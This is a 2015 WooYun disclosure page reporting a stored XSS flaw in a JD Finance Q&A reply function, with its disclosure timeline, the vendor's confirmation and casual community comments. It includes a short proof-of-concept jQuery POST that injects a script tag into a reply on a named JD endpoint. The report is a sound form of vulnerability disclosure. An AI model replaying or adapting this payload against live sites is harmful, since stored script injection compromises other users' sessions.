当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107474

漏洞标题：京东金融某功能存储型xss

相关厂商：京东商城

漏洞作者： 黑色雨滴

提交时间：2015-04-12 21:31

修复时间：2015-05-28 10:08

公开时间：2015-05-28 10:08

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-12： 细节已通知厂商并且等待厂商处理中
2015-04-13： 厂商已经确认，细节仅向厂商公开
2015-04-23： 细节向核心白帽子及相关领域专家公开
2015-05-03： 细节向普通白帽子公开
2015-05-13： 细节向实习白帽子公开
2015-05-28： 细节向公众公开

简要描述：

未严格过滤，洞没什么亮点，就不说了。
听说小川因为发暴漫，出任优秀员工，赢取白富美，走向人生巅峰了。
可怜我还在此学js,已哭晕在厕所，为此我也要来一发。

详细说明：

ragecomic.png


//为了不影响用户体验，没alert 。其他测试内容，我也删不掉。就算了.不好意思。

var data={content:'<p>ceshi<script>console.log(1)</script></p>',topicId:24557,systemId:0,key:9999,replyPin:'jd_4fa793d33651a',pictureUrl:''};
$.ajax({url:'http://club.jr.jd.com/qa/cm_topic/doSaveReply',method:'POST',data:data,success:function(d){console.log(d)}});

漏洞证明：

如上所示

修复方案：

美图修修

版权声明：转载请注明来源 黑色雨滴@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-04-13 10:06

厂商回复：

感谢您对京东的关注！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-12 21:33 | 不良小狼 ( 实习白帽子 | Rank:33 漏洞数:5 | 路人乙)

    互联网金融开始了

  2. 2015-04-12 22:54 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    关注。

  3. 2015-04-14 08:31 | 黑色雨滴 ( 路人 | Rank:29 漏洞数:8 | 没有主页新手一个前来玩玩)

    @京东商城 修复好了喊我一下,我再去看一眼

  4. 2015-05-08 13:51 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @黑色雨滴 工具分区是可控制的，在区域左侧的方格位置，点一下就可以了，避免分区线影响图片

  5. 2015-05-28 10:20 | 冲刃 ( 实习白帽子 | Rank:33 漏洞数:10 | 成长之路)

    这个不错

  6. 2015-06-25 21:48 | 黑色雨滴 ( 路人 | Rank:29 漏洞数:8 | 没有主页新手一个前来玩玩)

    @小川 ...好久没上来了。。求指导发暴漫